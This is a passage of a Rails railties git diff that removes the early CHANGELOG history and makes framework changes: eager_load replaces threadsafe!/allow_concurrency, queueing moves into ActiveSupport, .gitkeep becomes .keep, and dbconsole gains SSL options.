-* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller *Tobias Lütke*
-
-* Flipped code-to-test ratio around to be more readable #468 *Scott Baron*
-
-* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 *Lucas Carlson*
-
-* Fixed that auto reloading would some times not work or would reload the models twice #475 *Tobias Lütke*
-
-* Added rewrite rules to deal with caching to public/.htaccess
-
-* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
-
-* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
- RAILS_ENV instead of just forcing development #424 *Tobias Lütke*
-
-* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 *Chris McGrath*
-
-* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
-
-* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes
-
-* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6
-
-
-## 0.9.3 (January 4th, 2005) ##
-
-* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416
-
-* Added automated rewriting of the shebang lines on installs through the gem rails command #379 *Manfred Stienstra*
-
-* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries
- for functional testing.
-
-* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date.
- It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) *Florian Gross*
-
-* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that
- the environment options needs to change from:
-
- Before in development.rb:
- ActionController::Base.reload_dependencies = true  
- ActiveRecord::Base.reload_associations     = true
-
- Now in development.rb:
- Dependencies.mechanism = :load
-
- Before in production.rb and test.rb:
- ActionController::Base.reload_dependencies = false
- ActiveRecord::Base.reload_associations     = false
-
- Now in production.rb and test.rb:
- Dependencies.mechanism = :require
-
-* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351
-
-* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 *Lucas Carlson*
-
-* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0
-
-
-## 0.9.2 ##
-
-* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping *Kent Sibilev*
-
-* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration *Scott Baron*
-
-* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record.
-
-* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 *rainmkr*
-
-* Added support for a -h/--help parameter in the generator #331 *Ulysses*
-
-* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories *mjobin*
-
-* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0
-
-
-## 0.9.1 ##
-
-* Upgraded to Action Pack 1.0.1 for important bug fix
-
-* Updated gem dependencies
-
-
-## 0.9.0 ##
-
-* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb
-
-* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible
- for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb
-
-* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to
- see help.
-
-* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in
- the code, investigate and change the model, AND then resume execution! Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find_all
- breakpoint "Breaking out from the list"
- end
- end
-
- So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window.
- Here you can do things like:
-
- Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint'
-
- >> @posts.inspect
- => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>,
- #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
- >> @posts.first.title = "hello from a breakpoint"
- => "hello from a breakpoint"
-
- ...and even better is that you can examine how your runtime objects actually work:
-
- >> f = @posts.first
- => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
- >> f.
- Display all 152 possibilities? (y or n)
-
- Finally, when you're ready to resume execution, you press CTRL-D
-
-* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you
- can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server):
-
- SetEnv RAILS_ENV production
-
- ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this:
-
- ruby public/dispatcher.servlet -e production
-
-* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that.
-
-* Added a start_server in the root of the Rails application to make it even easier to get started
-
-* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods
-
-* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe)
-
-* Added support for controllers in directories. So you can have:
-
- app/controllers/account_controller.rb # URL: /account/
- app/controllers/admin/account_controller.rb # URL: /admin/account/
-
- NOTE: You need to update your public/.htaccess with the new rules to pick it up
-
-* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use
- those environments for development. This is turned on by default, but can be turned off with
- ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments.
-
-* Added support for sub-directories in app/models. So now you can have something like Basecamp with:
-
- app/models/accounting
- app/models/project
- app/models/participants
- app/models/settings
-
- It's poor man's namespacing, but only for file-system organization. You still require files just like before.
- Nothing changes inside the files themselves.
-
-
-* Fixed a few references in the tests generated by new_mailer *Jeremy Kemper*
-
-* Added support for mocks in testing with test/mocks
-
-* Cleaned up the environments a bit and added global constant RAILS_ROOT
-
-
-## 0.8.5 (9) ##
-
-* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]:
-
- def test_complex_stuff
- @david.projects << @new_project
- breakpoint "Let's have a closer look at @david"
- end
-
- You need to install dev-utils yourself for this to work ("gem install dev-util").
-
-* Added shared generator behavior so future upgrades should be possible without manually copying over files *Jeremy Kemper*
-
-* Added the new helper style to both controller and helper templates *Jeremy Kemper*
-
-* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding *Jeremy Kemper*
-
-* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style
-
-* Fixed that new_model was generating singular table/fixture names
-
-* Upgraded to Action Mailer 0.4.0
-
-* Upgraded to Action Pack 0.9.5
-
-* Upgraded to Active Record 1.1.0
-
-
-## 0.8.0 (15) ##
-
-* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is
-
-* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task.
-
-* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully *alexey*
-
-* Added user option for all postgresql tool calls in the rakefile *elvstone*
-
-* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" *alexey*
-
-* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based
- on the Ruby runtime configuration. *Marcel Molina Jr.*
-
-* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb *Caio Chassot*
-
-* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector.
-
-* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target *Andreas Schwarz*
-
-* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant.
- Class compilation cache can be turned on with "-c" or "--cache-classes".
-
-* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) *Kevin Temp*
-
-* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason *Andreas Schwarz*
-
-* Added new_mailer generator to work with Action Mailer
-
-* Included new framework: Action Mailer 0.3
-
-* Upgraded to Action Pack 0.9.0
-
-* Upgraded to Active Record 1.0.0
-
-
-## 0.7.0 ##
-
-* Added an optional second argument to the new_model script that allows the programmer to specify the table name,
- which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures.
- *Kevin Radloff*
-
-* script/new_model now turns AccountHolder into account_holder instead of accountholder *Kevin Radloff*
-
-* Fixed the faulty handleing of static files with WEBrick *Andreas Schwarz*
-
-* Unified function_test_helper and unit_test_helper into test_helper
-
-* Fixed bug with the automated production => test database dropping on PostgreSQL *dhawkins*
-
-* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation
- and can generate more than one fixture at a time. Which makes it possible for assignments like:
-
- @people, @projects, @project_access, @companies, @accounts =
- create_fixtures "people", "projects", "project_access", "companies", "accounts"
-
-* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file)
-
-* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection)
-
-
-## 0.6.5 ##
-
-* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile)
-
-* The new_model generator will now use the same rules for plural wordings as Active Record
- (so Category will give categories, not categorys) *Kevin Radloff*
-
-* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded *danp*
-
-* Made the GEM work with Windows
-
-* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers
-
-* PostgreSQL are now supported for the automated production => test database dropping *Kevin Radloff*
-
-* Errors thrown by the dispatcher are now properly handled in FCGI.
-
-* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes)
-
-* Upgraded to Active Record 0.9.4 (a bunch of fixes)
-
-
-## 0.6.0 ##
-
-* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used
- to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all
- controllers will also automatically have available.
-
-* Added environments that can be included from any script to get the full Active Record and Action Controller
- context running. This can be used by maintenance scripts or to interact with the model through IRB. Example:
-
- require 'config/environments/production'
-
- for account in Account.find_all
- account.recalculate_interests
- end
-
- A short migration script for an account model that had it's interest calculation strategy changed.
-
-* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick)
-
-* Simplified the default Apache config so even remote requests are served off CGI as a default.
- You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls).
- This should make it easier for new comers that start on an external server.
-
-* Added more of the necessary Apache options to .htaccess to make it easier to setup
-
-* Upgraded to Action Pack 0.7.9 (lots of fixes)
-
-* Upgraded to Active Record 0.9.3 (lots of fixes)
-
-
-## 0.5.7 ##
-
-* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL
- (through GET requests or otherwise)
-
-* Added lib in root as a place to store app specific libraries
-
-* Added lib and vendor to load_path, so anything store within can be loaded directly.
- Hence lib/redcloth.rb can be loaded with require "redcloth"
-
-* Upgraded to Action Pack 0.7.8 (lots of fixes)
-
-* Upgraded to Active Record 0.9.2 (minor upgrade)
-
-
-## 0.5.6 ##
-
-* Upgraded to Action Pack 0.7.7 (multipart form fix)
-
-* Updated the generated template stubs to valid XHTML files
-
-* Ensure that controllers generated are capitalized, so "new_controller TodoLists"
- gives the same as "new_controller Todolists" and "new_controller todolists".
-
-
-## 0.5.5 ##
-
-* Works on Windows out of the box! (Dropped symlinks)
-
-* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" *Florian Gross*
-
-* Report errors about initialization to browser (instead of attempting to use uninitialized logger)
-
-* Upgraded to Action Pack 0.7.6
-
-* Upgraded to Active Record 0.9.1
-
-* Added distinct 500.html instead of reusing 404.html
-
-* Added MIT license
-
-
-## 0.5.0 ##
-
-* First public release
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index 670477f91a..a15965a9da 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -22,7 +22,6 @@ end
module Rails
autoload :Info, 'rails/info'
autoload :InfoController, 'rails/info_controller'
- autoload :Queueing, 'rails/queueing'
class << self
def application
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index 3531728421..050190cba6 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,4 +1,5 @@
require 'fileutils'
+require 'active_support/queueing'
require 'rails/engine'
module Rails
@@ -16,7 +17,7 @@ module Rails
#
# Besides providing the same configuration as Rails::Engine and Rails::Railtie,
# the application object has several specific configurations, for example
- # "allow_concurrency", "cache_classes", "consider_all_requests_local", "filter_parameters",
+ # "cache_classes", "consider_all_requests_local", "filter_parameters",
# "logger" and so forth.
#
# Check Rails::Application::Configuration to see them all.
@@ -46,7 +47,7 @@ module Rails
# One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
# 9) Custom Railtie#initializers added by railties, engines and applications are executed
# 10) Build the middleware stack and run to_prepare callbacks
- # 11) Run config.before_eager_load and eager_load if cache classes is true
+ # 11) Run config.before_eager_load and eager_load! if eager_load is true
# 12) Run config.after_initialize callbacks
#
class Application < Engine
@@ -88,8 +89,8 @@ module Rails
@initialized
end
- # Implements call according to the Rack API. It simples
- # dispatch the request to the underlying middleware stack.
+ # Implements call according to the Rack API. It simply
+ # dispatches the request to the underlying middleware stack.
def call(env)
env["ORIGINAL_FULLPATH"] = build_original_fullpath(env)
super(env)
@@ -188,7 +189,7 @@ module Rails
end
def queue #:nodoc:
- @queue ||= Queueing::Container.new(build_queue)
+ @queue ||= ActiveSupport::QueueContainer.new(build_queue)
end
def build_queue #:nodoc:
@@ -216,8 +217,9 @@ module Rails
railties.each { |r| r.run_tasks_blocks(app) }
super
require "rails/tasks"
+ config = self.config
task :environment do
- $rails_rake_task = true
+ config.eager_load = false
require_environment!
end
end
@@ -296,7 +298,7 @@ module Rails
middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
end
- middleware.use ::Rack::Lock unless config.allow_concurrency
+ middleware.use ::Rack::Lock unless config.cache_classes
middleware.use ::Rack::Runtime
middleware.use ::Rack::MethodOverride
middleware.use ::ActionDispatch::RequestId
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index e567df7162..a1bc95550b 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -13,11 +13,18 @@ module Rails
require "active_support/all" unless config.active_support.bare
end
- # Preload all frameworks specified by the Configuration#frameworks.
- # Used by Passenger to ensure everything's loaded before forking and
- # to avoid autoload race conditions in JRuby.
- initializer :preload_frameworks, :group => :all do
- ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks
+ initializer :set_eager_load, :group => :all do
+ if config.eager_load.nil?
+ warn <<-INFO
+config.eager_load is set to nil. Please update your config/environments/*.rb files accordingly:
+
+ * development - set it to false
+ * test - set it to false (unless you use a tool that preloads your test environment)
+ * production - set it to true
+
+INFO
+ config.eager_load = config.cache_classes
+ end
end
# Initialize the logger early in the stack in case we need to log some deprecation.
@@ -60,7 +67,6 @@ module Rails
end
# Sets the dependency loading mechanism.
- # TODO: Remove files from the $" and always use require.
initializer :initialize_dependency_mechanism, :group => :all do
ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load
end
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index 2b36cc9d0d..613c5b25f0 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,18 +1,19 @@
require 'active_support/core_ext/kernel/reporting'
require 'active_support/file_update_checker'
+require 'active_support/queueing'
require 'rails/engine/configuration'
module Rails
class Application
class Configuration < ::Rails::Engine::Configuration
- attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets, :autoflush_log,
+ attr_accessor :asset_host, :asset_path, :assets, :autoflush_log,
:cache_classes, :cache_store, :consider_all_requests_local, :console,
- :dependency_loading, :exceptions_app, :file_watcher, :filter_parameters,
+ :eager_load, :exceptions_app, :file_watcher, :filter_parameters,
:force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
- :preload_frameworks, :railties_order, :relative_url_root, :secret_token,
+ :railties_order, :relative_url_root, :secret_token,
:serve_static_assets, :ssl_options, :static_cache_control, :session_options,
:time_zone, :reload_classes_only_on_change,
- :queue, :queue_consumer
+ :queue, :queue_consumer, :beginning_of_week
attr_writer :log_level
attr_reader :encoding
@@ -20,11 +21,9 @@ module Rails
def initialize(*)
super
self.encoding = "utf-8"
- @allow_concurrency = false
@consider_all_requests_local = false
@filter_parameters = []
@helpers_paths = []
- @dependency_loading = true
@serve_static_assets = true
@static_cache_control = nil
@force_ssl = false
@@ -32,6 +31,7 @@ module Rails
@session_store = :cookie_store
@session_options = {}
@time_zone = "UTC"
+ @beginning_of_week = :monday
@log_level = nil
@middleware = app_middleware
@generators = app_generators
@@ -43,8 +43,9 @@ module Rails
@exceptions_app = nil
@autoflush_log = true
@log_formatter = ActiveSupport::Logger::SimpleFormatter.new
- @queue = Rails::Queueing::Queue
- @queue_consumer = Rails::Queueing::ThreadedConsumer
+ @queue = ActiveSupport::SynchronousQueue
+ @queue_consumer = ActiveSupport::ThreadedQueueConsumer
+ @eager_load = nil
@assets = ActiveSupport::OrderedOptions.new
@assets.enabled = false
@@ -56,7 +57,6 @@ module Rails
@assets.debug = false
@assets.compile = true
@assets.digest = false
- @assets.manifest = nil
@assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ]
@assets.js_compressor = nil
@assets.css_compressor = nil
@@ -91,15 +91,12 @@ module Rails
end
end
- # Enable threaded mode. Allows concurrent requests to controller actions and
- # multiple database connections. Also disables automatic dependency loading
- # after boot, and disables reloading code on every request, as these are
- # fundamentally incompatible with thread safety.
def threadsafe!
- @preload_frameworks = true
+ ActiveSupport::Deprecation.warn "config.threadsafe! is deprecated. Rails applications " \
+ "behave by default as thread safe in production as long as config.cache_classes and " \
+ "config.eager_load are set to true"
@cache_classes = true
- @dependency_loading = false
- @allow_concurrency = true
+ @eager_load = true
self
end
@@ -130,7 +127,12 @@ module Rails
when :disabled
nil
when :active_record_store
- ActiveRecord::SessionStore
+ begin
+ ActionDispatch::Session::ActiveRecordStore
+ rescue NameError
+ raise "`ActiveRecord::SessionStore` is extracted out of Rails into a gem. " \
+ "Please add `activerecord-session_store` to your Gemfile to use it."
+ end
when Symbol
ActionDispatch::Session.const_get(@session_store.to_s.camelize)
else
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 60aa40b92f..d2a402aa51 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -50,9 +50,9 @@ module Rails
end
initializer :eager_load! do
- if config.cache_classes && !(defined?($rails_rake_task) && $rails_rake_task)
+ if config.eager_load
ActiveSupport.run_load_hooks(:before_eager_load, self)
- eager_load!
+ config.eager_load_namespaces.each(&:eager_load!)
end
end
@@ -91,14 +91,14 @@ module Rails
# Disable dependency loading during request cycle
initializer :disable_dependency_loading do
- if config.cache_classes && !config.dependency_loading
+ if config.eager_load && config.cache_classes
ActiveSupport::Dependencies.unhook!
end
end
initializer :activate_queue_consumer do |app|
- if config.queue == Rails::Queueing::Queue
- app.queue_consumer = config.queue_consumer.start(app.queue)
+ if config.queue == ActiveSupport::Queue
+ app.queue_consumer = config.queue_consumer.start(app.queue, {logger: Rails.logger})
at_exit { app.queue_consumer.shutdown }
end
end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index cc0552184a..c84fa832f5 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -26,7 +26,12 @@ module Rails
'port' => '--port',
'socket' => '--socket',
'username' => '--user',
- 'encoding' => '--default-character-set'
+ 'encoding' => '--default-character-set',
+ 'sslca' => '--ssl-ca',
+ 'sslcert' => '--ssl-cert',
+ 'sslcapath' => '--ssl-capath',
+ 'sslcipher' => '--ssh-cipher',
+ 'sslkey' => '--ssl-key'
}.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact
if config['password'] && options['include_password']
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index 9ef64da3ef..a684129353 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -87,6 +87,15 @@ module Rails
middlewares = []
middlewares << [Rails::Rack::Debugger] if options[:debugger]
middlewares << [::Rack::ContentLength]
+
+ # FIXME: add Rack::Lock in the case people are using webrick.
+ # This is to remain backwards compatible for those who are
+ # running webrick in production. We should consider removing this
+ # in development.
+ if server.name == 'Rack::Handler::WEBrick'
+ middlewares << [::Rack::Lock]
+ end
+
Hash.new(middlewares)
end
diff --git a/railties/lib/rails/deprecation.rb b/railties/lib/rails/deprecation.rb
index c5811b2629..89f54069e9 100644
--- a/railties/lib/rails/deprecation.rb
+++ b/railties/lib/rails/deprecation.rb
@@ -3,7 +3,8 @@ require 'active_support/deprecation/proxy_wrappers'
module Rails
class DeprecatedConstant < ActiveSupport::Deprecation::DeprecatedConstantProxy
def self.deprecate(old, current)
- constant = new(old, current)
+ # double assignment is used to avoid "assigned but unused variable" warning
+ constant = constant = new(old, current)
eval "::#{old} = constant"
end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index 40f35ae5a6..7afb599910 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -5,8 +5,8 @@ require 'rbconfig'
module Rails
# <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
- # functionality and share it with other applications. Since Rails 3.0, every
- # <tt>Rails::Application</tt> is just an engine, which allows for simple
+ # functionality and share it with other applications or within a larger packaged application.
+ # Since Rails 3.0, every <tt>Rails::Application</tt> is just an engine, which allows for simple
# feature and application sharing.
#
# Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same
@@ -339,11 +339,16 @@ module Rails
class << self
attr_accessor :called_from, :isolated
+
alias :isolated? :isolated
alias :engine_name :railtie_name
+ delegate :eager_load!, to: :instance
+
def inherited(base)
unless base.abstract_railtie?
+ Rails::Railtie::Configuration.eager_load_namespaces << base
+
base.called_from = begin
# Remove the line number from backtraces making sure we don't leave anything behind
call_stack = caller.map { |p| p.sub(/:\d+.*/, '') }
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 4fa990171d..a8c0626a41 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -173,7 +173,6 @@ module Rails
"#{orm}:migration",
"#{orm}:model",
"#{orm}:observer",
- "#{orm}:session_migration",
"#{test}:controller",
"#{test}:helper",
"#{test}:integration",
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 383bea9e54..184c59cb90 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -16,53 +16,56 @@ module Rails
attr_accessor :rails_template
add_shebang_option!
- argument :app_path, :type => :string
+ argument :app_path, type: :string
def self.add_shared_options_for(name)
- class_option :builder, :type => :string, :aliases => "-b",
- :desc => "Path to a #{name} builder (can be a filesystem path or URL)"
+ class_option :builder, type: :string, aliases: '-b',
+ desc: "Path to a #{name} builder (can be a filesystem path or URL)"
- class_option :template, :type => :string, :aliases => "-m",
- :desc => "Path to an #{name} template (can be a filesystem path or URL)"
+ class_option :template, type: :string, aliases: '-m',
+ desc: "Path to an #{name} template (can be a filesystem path or URL)"
- class_option :skip_gemfile, :type => :boolean, :default => false,
- :desc => "Don't create a Gemfile"
+ class_option :skip_gemfile, type: :boolean, default: false,
+ desc: "Don't create a Gemfile"
- class_option :skip_bundle, :type => :boolean, :default => false,
- :desc => "Don't run bundle install"
+ class_option :skip_bundle, type: :boolean, default: false,
+ desc: "Don't run bundle install"
- class_option :skip_git, :type => :boolean, :aliases => "-G", :default => false,
- :desc => "Skip Git ignores and keeps"
+ class_option :skip_git, type: :boolean, aliases: '-G', default: false,
+ desc: 'Skip .gitignore file'
- class_option :skip_active_record, :type => :boolean, :aliases => "-O", :default => false,
- :desc => "Skip Active Record files"
+ class_option :skip_keeps, type: :boolean, default: false,
+ desc: 'Skip source control .keep files'
- class_option :skip_sprockets, :type => :boolean, :aliases => "-S", :default => false,
- :desc => "Skip Sprockets files"
+ class_option :skip_active_record, type: :boolean, aliases: '-O', default: false,
+ desc: 'Skip Active Record files'
- class_option :database, :type => :string, :aliases => "-d", :default => "sqlite3",
- :desc => "Preconfigure for selected database (options: #{DATABASES.join('/')})"
+ class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false,
+ desc: 'Skip Sprockets files'
- class_option :javascript, :type => :string, :aliases => '-j', :default => 'jquery',
- :desc => 'Preconfigure for selected JavaScript library'
+ class_option :database, type: :string, aliases: '-d', default: 'sqlite3',
+ desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
- class_option :skip_javascript, :type => :boolean, :aliases => "-J", :default => false,
- :desc => "Skip JavaScript files"
+ class_option :javascript, type: :string, aliases: '-j', default: 'jquery',
+ desc: 'Preconfigure for selected JavaScript library'
- class_option :skip_index_html, :type => :boolean, :aliases => "-I", :default => false,
- :desc => "Skip public/index.html and app/assets/images/rails.png files"
+ class_option :skip_javascript, type: :boolean, aliases: '-J', default: false,
+ desc: 'Skip JavaScript files'
- class_option :dev, :type => :boolean, :default => false,
- :desc => "Setup the #{name} with Gemfile pointing to your Rails checkout"
+ class_option :skip_index_html, type: :boolean, aliases: '-I', default: false,
+ desc: 'Skip public/index.html and app/assets/images/rails.png files'
- class_option :edge, :type => :boolean, :default => false,
- :desc => "Setup the #{name} with Gemfile pointing to Rails repository"
+ class_option :dev, type: :boolean, default: false,
+ desc: "Setup the #{name} with Gemfile pointing to your Rails checkout"
- class_option :skip_test_unit, :type => :boolean, :aliases => "-T", :default => false,
- :desc => "Skip Test::Unit files"
+ class_option :edge, type: :boolean, default: false,
+ desc: "Setup the #{name} with Gemfile pointing to Rails repository"
- class_option :help, :type => :boolean, :aliases => "-h", :group => :rails,
- :desc => "Show this help message and quit"
+ class_option :skip_test_unit, type: :boolean, aliases: '-T', default: false,
+ desc: 'Skip Test::Unit files'
+
+ class_option :help, type: :boolean, aliases: '-h', group: :rails,
+ desc: 'Show this help message and quit'
end
def initialize(*args)
@@ -246,21 +249,28 @@ module Rails
# is easier to silence stdout in the existing test suite this way. The
# end-user gets the bundler commands called anyway, so no big deal.
#
+ # We unset temporary bundler variables to load proper bundler and Gemfile.
+ #
# Thanks to James Tucker for the Gem tricks involved in this call.
- print `"#{Gem.ruby}" "#{Gem.bin_path('bundler', 'bundle')}" #{command}`
+ _bundle_command = Gem.bin_path('bundler', 'bundle')
+
+ require 'bundler'
+ Bundler.with_clean_env do
+ print `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+ end
end
def run_bundle
bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
end
- def empty_directory_with_gitkeep(destination, config = {})
+ def empty_directory_with_keep_file(destination, config = {})
empty_directory(destination, config)
- git_keep(destination)
+ keep_file(destination)
end
- def git_keep(destination)
- create_file("#{destination}/.gitkeep") unless options[:skip_git]
+ def keep_file(destination)
+ create_file("#{destination}/.keep") unless options[:skip_keeps]
end
end
end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index a3f8ebf476..c2accf0387 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -98,7 +98,7 @@ module Rails
#
# "test_unit:awesome", "test_unit"
#
- # Which is not the desired the lookup. You can change it by providing the
+ # Which is not the desired lookup. You can change it by providing the
# :as option:
#
# class AwesomeGenerator < Rails::Generators::Base
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index c06b0f8994..b71b16b043 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -11,7 +11,7 @@ module Rails
private
%w(template copy_file directory empty_directory inside
- empty_directory_with_gitkeep create_file chmod shebang).each do |method|
+ empty_directory_with_keep_file create_file chmod shebang).each do |method|
class_eval <<-RUBY, __FILE__, __LINE__ + 1
def #{method}(*args, &block)
@generator.send(:#{method}, *args, &block)
@@ -55,8 +55,8 @@ module Rails
def app
directory 'app'
- git_keep 'app/mailers'
- git_keep 'app/models'
+ keep_file 'app/mailers'
+ keep_file 'app/models'
end
def config
@@ -86,13 +86,13 @@ module Rails
end
def lib
- empty_directory "lib"
- empty_directory_with_gitkeep "lib/tasks"
- empty_directory_with_gitkeep "lib/assets"
+ empty_directory 'lib'
+ empty_directory_with_keep_file 'lib/tasks'
+ empty_directory_with_keep_file 'lib/assets'
end
def log
- empty_directory_with_gitkeep "log"
+ empty_directory_with_keep_file 'log'
end
def public_directory
@@ -100,7 +100,7 @@ module Rails
if options[:skip_index_html]
remove_file "public/index.html"
remove_file 'app/assets/images/rails.png'
- git_keep 'app/assets/images'
+ keep_file 'app/assets/images'
end
end
@@ -112,13 +112,13 @@ module Rails
end
def test
- empty_directory_with_gitkeep "test/fixtures"
- empty_directory_with_gitkeep "test/functional"
- empty_directory_with_gitkeep "test/integration"
- empty_directory_with_gitkeep "test/unit"
+ empty_directory_with_keep_file 'test/fixtures'
+ empty_directory_with_keep_file 'test/functional'
+ empty_directory_with_keep_file 'test/integration'
+ empty_directory_with_keep_file 'test/unit'
- template "test/performance/browsing_test.rb"
- template "test/test_helper.rb"
+ template 'test/performance/browsing_test.rb'
+ template 'test/test_helper.rb'
end
def tmp
@@ -132,11 +132,11 @@ module Rails
end
def vendor_javascripts
